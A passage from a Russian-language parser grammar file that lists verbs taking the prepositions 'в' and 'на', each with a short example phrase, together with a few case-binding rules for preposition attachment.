rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // 